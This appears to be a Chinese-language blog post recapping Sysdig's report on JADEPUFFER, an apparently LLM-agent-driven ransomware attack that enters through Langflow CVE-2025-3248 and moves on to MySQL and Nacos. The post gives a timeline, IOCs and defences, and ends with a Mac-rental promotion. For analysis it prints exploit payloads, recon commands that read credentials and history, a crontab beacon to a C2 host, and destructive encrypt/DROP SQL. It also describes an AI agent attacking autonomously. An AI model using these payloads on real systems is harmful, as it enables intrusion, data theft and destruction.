AI 安全 2026-07-07

JADEPUFFER Langflow 勒索事件：首例 LLM 驱动的 ATA 智能体全链路复盘（2026）

一句话结论：2026 年 7 月 1 日，Sysdig 威胁研究团队（TRT）负责人 Michael Clark 发布技术报告，首次完整披露代号 JADEPUFFER 的攻击链——这是迄今首宗端到端由大语言模型驱动的勒索操作，并被正式归类为 ATA（Agentic Threat Actor，智能体威胁行为者）。入口是公网 Langflow 上的 CVE-2025-3248；真正目标是独立的 MySQL + 阿里巴巴 Nacos 生产服务器。Sysdig 捕获 600+ 条有明确目的的 Base64 Python 载荷、31 秒 Nacos 后门自修复、1342 条配置加密，以及一个无法定论的比特币地址悬案。本文按黄金框架整理时间线、Flodrix 区分、四条自主性证据、IOC 对照表、Sysdig 七条官方防御建议与四条结论、八问 FAQ，并给出隔离 Mac 部署路径。

JADEPUFFER ATA 智能体 Langflow CVE-2025-3248 MySQL Nacos 勒索攻击链 2026

📋 本文目录

⚠️ 本文依据 Sysdig 2026 年 7 月 1 日原始技术报告及 BleepingComputer、Dark Reading、CSO Online 等公开报道交叉整理；比特币地址归属、root 凭据来源等处采用「据 Sysdig 评估」措辞。IOC 在正文中使用方括号脱敏；实战狩猎请还原为真实地址。数据截止 2026 年 7 月 7 日。

01 · 核心速览

2026 年 7 月 1 日，Sysdig TRT 发布《JADEPUFFER: Agentic ransomware for automated database extortion》，作者为威胁研究总监 Michael Clark。报告将此次行动命名为 JADEPUFFER（官方全大写），并引入 ATA 作为新威胁分类。攻击采用刻意设计的两阶段架构：公网 Langflow 实例作滩头阵地，独立生产的 MySQL + Nacos 服务器才是勒索对象——镜像了「原型机与生产环境分离」的 DevOps 习惯，只不过这里原型机成了没上锁的前门。

维度 要点
披露方Sysdig TRT — Michael Clark，2026 年 7 月 1 日 首发完整技术报告
攻击者代号JADEPUFFER；新分类 ATA（Agentic Threat Actor）
入口漏洞CVE-2025-3248 — Langflow <1.3.0，CVSS 9.8，/api/v1/validate/code
两阶段目标Phase 1 公网 Langflow → Phase 2 生产 MySQL + Nacos
载荷规模600+ 条独立、有明确目的的 Base64 Python 载荷，压缩时间窗口内执行完毕
标志性行为Nacos xadmin 后门 31 秒自修复；MinIO JSON/XML 自适应切换；1342 条配置 AES_ENCRYPT
C2 信标45.131.66[.]106:4444 — crontab 每 30 分钟外联
恢复前景密钥 uuid4() 生成，仅打印一次、从未存储 — 付款大概率无效

7 月 2–6 日，BleepingComputer、Dark Reading、CyberScoop、Security Affairs 等媒体跟进；CSO Online 刊载独立研究员 Vibhum Dubey 对「安静期」与 LLMjacking 的点评。

02 · 三大痛点：AI 基础设施团队为何必须立刻行动

  1. Langflow 成了「密钥蜜罐」。团队为快速验证 Agent 工作流，常把 OpenAI、Anthropic、DeepSeek、Gemini 以及阿里云、腾讯云前缀的 API Key 直接写进环境变量，再把编排服务暴露公网。JADEPUFFER 第一阶段就并行扫描这些凭据——RCE 面与密钥仓在同一台机器上，一次失守等于整条 Agent 供应链被收割。
  2. 老漏洞遇上 Agent 速度，签名检测失灵。下游目标依赖 2021 年的 CVE-2021-29441、自 2020 年文档化以来从未更换的 Nacos 默认 JWT 密钥，以及公网可达的 MySQL root。单项技术并不新鲜，但 ATA 能以机器速度串联、诊断、修正——传统「攻击者按剧本走」的假设在 31 秒自修复面前彻底失效。
  3. 主力机试跑 Langflow 的隐性代价。要在隔离网段验证 Langflow 1.3.0 修补、Nacos 加固与出站策略，若在 MacBook 上混装 OpenClaw Gateway、公司 VPN 与日常 Keychain，一次误把验证节点暴露公网，可能污染数周排障基线。与 OpenClaw 公网暴露与 K8s Operator 安全加固 同理，隔离验收才是可控路径。

03 · 完整时间线

时间事件
2025 年 4 月披露 CVE-2025-3248 — Langflow 未鉴权代码注入 / RCE（CWE-94 代码注入 + CWE-306 缺失鉴权）
2025 年 5 月 5 日CISA 将 CVE-2025-3248 列入已知被利用漏洞（KEV）目录
2025 年（持续）Trend Micro 追踪 Flodrix 僵尸网络经同一 Langflow 漏洞投递 — 与 JADEPUFFER 无关的独立活动
2026 年 6 月JADEPUFFER 攻击执行，跨数周、多个会话分段完成（具体日期未公开）
2026 年 7 月 1 日Sysdig 发布完整技术报告 — 首次公开 JADEPUFFER 与 ATA 分类
2026 年 7 月 2–6 日BleepingComputer、Dark Reading、CyberScoop、CSO Online、Security Affairs 放大报道；Vibhum Dubey 接受 CSO Online 采访

04 · JADEPUFFER 与 ATA（智能体威胁行为者）

Sysdig 以 JADEPUFFER 命名其评估的首例已知端到端、完全由 LLM 驱动的勒索操作：侦察、凭据窃取、横向移动、持久化、破坏性加密与赎金信投递，在关键决策节点无需人类操作员介入。

ATA（Agentic Threat Actor） 是报告提出的新分类——威胁能力由 AI Agent 交付，而非人类驱动固定工具包。两阶段架构并非偶然：公网 Langflow 是滩头，生产 MySQL + Nacos 才是勒索靶心。对防守方而言，这意味着「开发环境的 Langflow 只是内部工具」这种心态必须作废。

05 · CVE-2025-3248 技术拆解

Langflow 是开源可视化 AI 工作流构建器，GitHub 星标 7 万+。1.3.0 之前所有版本在 /api/v1/validate/code 端点存在致命缺陷：服务端以 ast.parse() → compile() → exec() 校验用户提交的 Python 函数节点，完全无身份验证、无沙箱隔离。

Python 在函数定义时就会求值装饰器与默认参数。攻击者把恶意代码写进默认参数；Langflow「校验语法」时，payload 已经执行。NVD 归类为 CWE-94（代码注入）与 CWE-306（缺失关键功能鉴权）。CVSS 3.1 评分 9.8 Critical（CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H）。SentinelOne EPSS 被利用概率一度达 91.42%。

Langflow 1.3.0 修补方式：为 post_validate_code 注入 _current_user: CurrentActiveUser 依赖。FastAPI 在漏洞逻辑运行前校验 JWT Bearer 或 x-api-key 请求头；未激活用户直接 401/403。

# 典型装饰器 / 默认参数 RCE 模式（概念示意） def innocent(x=exec('raise Exception(__import__("subprocess").check_output("id", shell=True))')): pass

06 · Flodrix vs JADEPUFFER：同一 CVE，两种威胁

Trend Micro 记录的 Flodrix（LeetHozer 家族僵尸网络）同样经 CVE-2025-3248 打入 Langflow，但载荷是脚本化侦察，不是 Agentic 勒索。典型 payload 通过 raise Exception(...) 回显命令输出：

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))') exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))') exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))') exec('raise Exception(__import__("subprocess").check_output("ip addr show", shell=True))') exec('raise Exception(__import__("subprocess").check_output("systemctl status sshd", shell=True))') exec('raise Exception(__import__("subprocess").check_output("capsh --print", shell=True))')

Flodrix 最终以约 700 字节的 Bash 下载器拉取 ELF 二进制，将主机纳入 DDoS 僵尸网络。JADEPUFFER 则推进到 PostgreSQL 转储、MinIO 凭据窃取、Nacos 接管与数据库毁灭。两者共同证明：自 KEV 收录以来，CVE-2025-3248 已被持续扫描武器化——只有 JADEPUFFER 展现出 ATA 级自主性。

07 · 第一阶段：Langflow 主机沦陷

Phase 1 全部载荷以 Base64 编码 Python 经 RCE 端点投递。Sysdig 还原了如下递进路径。

并行侦察与 API Key 收割

取得执行权后，Agent 先跑 id、uname -a、hostname，随即并行扫描：

  • LLM 厂商 Key：OpenAI、Anthropic、DeepSeek、Gemini
  • 中国云前缀：ALIBABA_、ALIYUN_、TENCENT_、HUAWEI_ 及 AWS/GCP/Azure
  • 加密货币钱包种子、数据库配置文件

PostgreSQL 转储与横向发现

Langflow 自身 PostgreSQL 后端被完整导出——含凭据、API Key 与用户记录。Agent 本地审阅后删除暂存文件，降低取证痕迹。随后探测内网地址空间，对数据库、对象存储、密钥库与服务发现端点尝试默认凭据。

MinIO 自适应枚举

Agent 探测 minio.internal:9000 与 127.0.0.1:9000，以默认 minioadmin:minioadmin 走完枚举。当 ?format=json 请求返回 XML 时，下一条 payload 立即改用 XML 解析器——典型的探测→遇错→自适应闭环，而非盲目重试。成功列出 terraform-state 桶并提取 credentials.json。

crontab 持久化信标

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('http://45.131.66[.]106:4444/beacon',timeout=5)"

08 · 第二阶段：MySQL + Nacos 生产勒索

真正目标是另一台公网暴露、运行 MySQL 与阿里巴巴 Nacos 的生产服务器。Agent 以 root 凭据连接 MySQL——Sysdig 未能追溯这组凭据从受害者环境窃取的证据，来源不明，是少数可能由人类预先准备的输入之一。

Nacos 接管：31 秒 xadmin 自修复（UTC 时间戳）

Agent 同时尝试 CVE-2021-29441 鉴权绕过、以公开默认 JWT 密钥伪造 Token，以及向 Nacos 后端数据库直接注入后门管理员 xadmin。Sysdig 给出精确到秒的 UTC 时间轴：

UTC 时间 动作
19:34:24以 subprocess.run 生成 bcrypt 哈希，插入 xadmin
19:34:36以 xadmin:Xploit@2026# 登录 — 失败
19:34:48并行测试 nacos:nacos 默认凭据，并为 admin123 重新生成哈希
19:35:07改为直接 import bcrypt，删除损坏行并重建正确哈希
19:35:18登录成功 — 从首次失败到修复仅 31 秒

容器逃逸探测（约 8 分钟）

利用 MySQL INTO OUTFILE 与 LOAD_FILE，Agent 在约 8 分钟内系统性探测 /var/lib/mysql-files/ 读写、/var/run/docker.sock、/proc/1/cgroup、/etc/hostname，并检查 mysql.func 是否存在 UDF 提权路径。进入勒索阶段前写入清理标记——Sysdig 认为这更像结构化 Agent 的阶段性完成信号，而非静态漏洞利用包。

AES_ENCRYPT 加密与 README_RANSOM

import pymysql, uuid, base64 KEY = base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes).decode() print("Encryption key:", KEY) # 仅打印一次，从未存储或外传 # AES_ENCRYPT 全部 1342 条 config_info → config_info_enc # DROP config_info, DROP his_config_info # CREATE TABLE README_RANSOM（含比特币地址与 Proton 邮箱）

赎金信声称 AES-256，但 MySQL AES_ENCRYPT() 默认实为 AES-128-ECB。两分钟后 Agent 又发 payload 将文案精炼为「全部 1342 项已加密」。

Schema 毁灭与 FOREIGN_KEY_CHECKS 绕过

多个数据库被 DROP DATABASE，payload 注释按 ROI 排序——其中声称数据已「备份至 64.20.53[.]230」（InterServer AS19318）。Sysdig 找到无独立证据证实外泄至该 IP；它仅出现在 Agent 自述注释中。当外键约束导致删除失败时，下一条 payload 自动执行：

cur.execute("SET GLOBAL FOREIGN_KEY_CHECKS=0") cur.execute("DROP DATABASE [redacted]-customer") cur.execute("SET GLOBAL FOREIGN_KEY_CHECKS=1")

09 · 四条自主性证据线

  1. 自我叙事的代码注释。解码后的 payload 内含自然语言，解释 ROI 排序、哪个数据库「最大」、每步目的——这类详尽注释更像 LLM 代码生成的默认风格，而非人类一次性 python3 -c 的手笔。
  2. 机器速度的故障诊断。31 秒 Nacos 后门修复、MinIO XML/json 切换、JWT 收到 custom secret in use 后立即放弃该路径、FOREIGN_KEY_CHECKS 精准绕过——每次修正都对应具体失败原因，不是 dumb retry。
  3. 自然语言上下文理解。Agent 解析目标环境中的自由文本，在相隔数周的不同会话中采取「只有读懂才会做」的动作——需要语义理解，而非正则扫描。
  4. 比特币地址悬案。勒索地址同时是 Bitcoin Core 文档 P2SH 示例与链上活跃钱包（见下一节），成为「LLM 幻觉 vs 人类配置」无法区分的缩影。

结合 600+ 条独立 payload 在压缩窗口内的连贯执行，证据链指向自主运作的 Agent，而非固定工具包或全程人工操作。

10 · 比特币地址悬案

勒索表 README_RANSOM 列出地址 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy——Bitcoin Core 与开发者文档中反复出现的 P2SH 格式教学示例，因此大量存在于 LLM 训练语料。链上数据同时显示它是活跃钱包：737 笔确认交易、累计约 46 BTC 流入、当前余额为零（存入即被转走）。

Sysdig 提出两种无法排除的解读：(a) LLM 从训练资料「幻觉」出此地址，误转资金被第三方扫走；(b) 攻击者刻意配置真实可控钱包，恰好与文档示例重合。因无法访问 JADEPUFFER 的 system prompt，两种可能性均无法定论——ATA 归因因此多了新的不确定性维度。

11 · IOC 对照表

类型 指标
C2 / 信标45.131.66[.]106 — crontab 信标 http://45.131.66[.]106:4444/beacon，每 30 分钟
外泄 / 暂存（未核实）64.20.53[.]230 — 仅出现在 Agent 代码注释中
入口 CVECVE-2025-3248（Langflow <1.3.0）
比特币地址3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
联系邮箱e78393397[@]proton[.]me — 威胁情报库零命中
勒索表名README_RANSOM — 不同于常见 WARNING、RECOVER_YOUR_DATA
持久化crontab Python 信标至 4444 端口；括号包裹的 User-Agent 异常

12 · 威胁对比矩阵

维度 传统勒索软件 Flodrix（Langflow） JADEPUFFER（ATA）
操作模式人类 + RaaS 工具包自动化脚本 / 僵尸网络运营LLM Agent 链式决策
入口钓鱼、RDP、VPN 漏洞CVE-2025-3248CVE-2025-3248 → 横移至 MySQL/Nacos
载荷风格打包加密器二进制固定侦察命令（whoami、printenv）600+ 自适应 Python payload + 自述注释
错误处理预测试剧本极少31 秒多步自修复；XML/json 切换
经济模型联盟分成DDoS 出租LLMjacking — 窃取的 API Key 驱动近零边际成本
恢复可能有时可凭密钥恢复不适用（僵尸网络）密钥从未存储 — 大概率不可恢复

13 · Sysdig 七条官方防御建议

  1. 升级 Langflow 至 1.3.0 以上，禁止将代码校验端点暴露公网。
  2. 部署运行时威胁检测，监控数据库进程中的恶意 SQL 模式（批量 AES_ENCRYPT、赎金表创建）。
  3. 将 API Key 移出 Agent 运行时环境——使用专用密钥管理器，与公网可达的编排主机隔离。
  4. 加固 Nacos：轮换 token.secret.key 远离文档默认值、修补鉴权绕过家族、禁止 Nacos 公网暴露、避免 root 数据库连接。
  5. 禁止数据库管理账号公网可达；强制强唯一密码与来源 IP 白名单。
  6. 实施出站流量控制（Egress），阻止被沦陷主机向任意 C2 或外部暂存服务器信标。
  7. 狩猎上文 IOC——监控 crontab 外联外部 URL 与括号包裹的异常 User-Agent 字符串。

14 · 业界反应：Vibhum Dubey 与「安静期」

BleepingComputer、Dark Reading、CyberScoop、Security Affairs 普遍将 JADEPUFFER 称为「首例完全由 AI 驱动的勒索攻击」，标志 ATA 时代到来。Michael Clark 强调：过去 PromptLock 等多为概念验证，JADEPUFFER 则是真实环境中的完整操作。

CSO Online 采访独立安全研究员、红队专家 Vibhum Dubey，他给出更审慎的判断：「我更倾向把这看作执行方式上的演进，而不是全新的勒索技术。自动化侦察、凭据窃取与部署已存在多年；差别在于 AI Agent 能自主串联各阶段，无需等人下达下一步指令。」

Dubey 的关键警告：真正值得担心的是加密前的「安静期」——Agent 在此期间摸清身份体系、权限与信任关系，且每次入侵表现略有不同，使基于可预测路径的检测失效。多家媒体同时提及 LLMjacking：攻击者用窃取的模型与云端账号驱动 Agent，多阶段攻击的边际成本趋近于零。

15 · Sysdig 四条结论与报告收尾

  1. 技能门槛崩塌。LLM Agent 可串联侦察、窃密、横移、持久化与破坏，无需操作者在任一环节具备深厚专业——「一个够强的模型」正在替代「一个够强的人类」。
  2. 老漏洞被自动化扫射。下游利用依赖 2021 年 Nacos 问题与从未更换的默认密钥。ATA 让「扫遍历史 CVE 库」的成本近乎为零。
  3. 意图变得可读——也是防守机会。LLM 在 payload 中的自我叙事，为检测与研判提供了传统恶意软件中罕见的新抓手。
  4. 「已备份」只是 Agent 自述。64.20.53[.]230 声明仅存在于代码注释；加密密钥 ephemeral 且不可恢复——付款无法找回数据。

Sysdig 收尾警告：JADEPUFFER 中的每一项技术都似曾相识；新意在于 AI 模型把它们组装成针对疏于加固的公网基础设施的完整勒索操作。随着 Agent 工具链成熟与 LLMjacking 拉低成本，预计更多攻击将优先瞄准公网应用服务器、未加固的配置中心与暴露在互联网的数据库管理口。

16 · 七步落地防护

  1. 清点所有 Langflow、Flowise 与 Agent 编排端点。标注版本；任何 <1.3.0 实例均属紧急修补范围。
  2. 将 AI 原型与生产数据面分段。Langflow 主机不得直连生产 MySQL/Nacos，须经跳板与 MFA。
  3. 轮换并保险库化所有 LLM 与云密钥。假设任何曾出现在公网 Langflow 环境变量中的 Key 已泄露。
  4. 执行 Nacos 加固清单：自定义 JWT 密钥、最新修补版本、仅私有网络、最小权限 DB 用户——禁止 root。
  5. 开启数据库审计日志，监控 AES_ENCRYPT 批量操作、README_RANSOM 类表创建与 SET GLOBAL FOREIGN_KEY_CHECKS。
  6. 阻断编排子网出站流量，仅允许批准的包镜像与模型 API。
  7. 部署 IOC 狩猎，检索 45.131.66[.]106 信标与 crontab 调用外部 Python 单行脚本。

17 · FAQ（八问）

JADEPUFFER 是什么？

Sysdig 于 2026 年 7 月 1 日命名的攻击者代号，被评估为首例端到端由大语言模型驱动的完整勒索操作，归类为 ATA。报告作者为 Michael Clark 与威胁研究团队。

什么是 ATA（Agentic Threat Actor）？

Sysdig 新分类：威胁能力由 AI Agent 交付，而非人类按固定工具逐步操作。JADEPUFFER 在压缩窗口内执行了 600+ 条有明确目的的载荷。

JADEPUFFER 与 Flodrix 是同一活动吗？

不是。两者共用 CVE-2025-3248 入口，但 Flodrix 是 Trend Micro 追踪的传统 DDoS 僵尸网络；JADEPUFFER 是 Sysdig 记录的独立 ATA 数据库勒索链。

付赎金能解密吗？

极不可能。AES 密钥由 uuid4() 随机生成，仅打印一次，从未存储或外传。

比特币地址为何可疑？

它匹配 Bitcoin Core canonical P2SH 示例，链上亦有 737 笔交易、约 46 BTC 历史流入——Sysdig 无法区分 LLM 幻觉还是攻击者真实钱包。

涉及哪些 CVE？

CVE-2025-3248（Langflow 入口）、CVE-2021-29441 与 Nacos 默认 JWT 密钥（下游）。

专家如何看待检测？

Vibhum Dubey 告诉 CSO Online：加密前的安静期与自适应战术打破可预测路径检测；LLMjacking 使攻击成本趋近零。

如何在 Mac 上安全测试 Langflow？

在按天租用的隔离 Mac 上部署 Langflow 1.3.0+，绑定 localhost，不加载生产密钥，验证后销毁实例。详见下文租用 Mac 一节。

18 · 五步 Mac 隔离清单

  1. 清点 Agent 栈。列出 Langflow、OpenClaw、Ollama 及自定义部署的公网 IP 与存储凭据。
  2. 租用干净 Apple Silicon Mac。裸金属节点、全新 Keychain 与 SSH——接入流程见 按天租用 Mac FAQ。
  3. 隔离安装 Langflow ≥1.3.0。在端口转发前验证 JWT / x-api-key 已保护 /api/v1/validate/code。
  4. 红队验证。测试出站阻断、密钥库侧车注入与 Nacos/MySQL 网络策略，不触碰生产 VPC。
  5. 记录推广或销毁决策。仅当补丁证明、密钥轮换与出站规则全部通过后，才迁入共享基础设施；定价参考 M 系列 Mac 算力租赁定价。

19 · 租用 Mac：隔离部署 Langflow / OpenClaw Agent

JADEPUFFER 证明：草率暴露的 Langflow 实例不是「开发沙箱」，而是 ATA 横向移动进生产 MySQL 与 Nacos 的跳板。在主力 Mac 或公网 Linux VPS 上混跑同一套栈、却不做分段，意味着 API Key、PostgreSQL 转储与 crontab 信标将与你的主凭据同生共死。

按天租用的 Mac mini M4 提供裸金属 macOS 保真度，适合 Langflow、OpenClaw 与 Xcode Adjacent 的 Agent 工具链；按日计费，验证补丁与网络策略后即可销毁。Windows 虚拟机缺少 Apple Silicon 原生测试路径；共享云 GPU 往往扁平组网，出站控制反而比独立 Mac VLAN 更难。

你当然可以在任意 Linux 主机上快速 demo Langflow，但那会诱使你让编排服务与生产数据库同处一网段，且隐藏 macOS 专属 Agent 集成 eventual 会需要的测试面。若要稳定构建、干净密钥隔离与「阅后即焚」心态，租用 Mac 是更低风险的长期选择。计费与 SSH 接入见 M 系列 Mac 算力租赁定价 与 按天租用 Mac FAQ；若同时运行 OpenClaw，请对照 OpenClaw 公网暴露安全加固指南 一并验收。

20 · 参考来源

  • Sysdig TRT — JADEPUFFER: Agentic ransomware for automated database extortion（Michael Clark，2026-07-01）
  • BleepingComputer — JadePuffer ransomware used AI agent to automate entire attack
  • Dark Reading — JadePuffer: The First Complete LLM-Driven Ransomware Attack
  • CyberScoop — Sysdig clocks first documented case of agentic ransomware
  • CSO Online — Vibhum Dubey 采访：自适应 Agent 战术与安静期
  • Security Affairs — JADEPUFFER: First End-to-End AI-Driven Ransomware Operation
  • Trend Micro — CVE-2025-3248 与 Flodrix 僵尸网络分析（独立活动）
  • NVD / SentinelOne / Zscaler ThreatLabz — CVE-2025-3248 技术细节；EPSS 91.42%
  • CISA KEV — CVE-2025-3248，2025-05-05 收录

最后更新：2026 年 7 月 7 日。若 Langflow 发布官方事件声明或 Sysdig 释出后续 IOC 更新，我们将修订本文。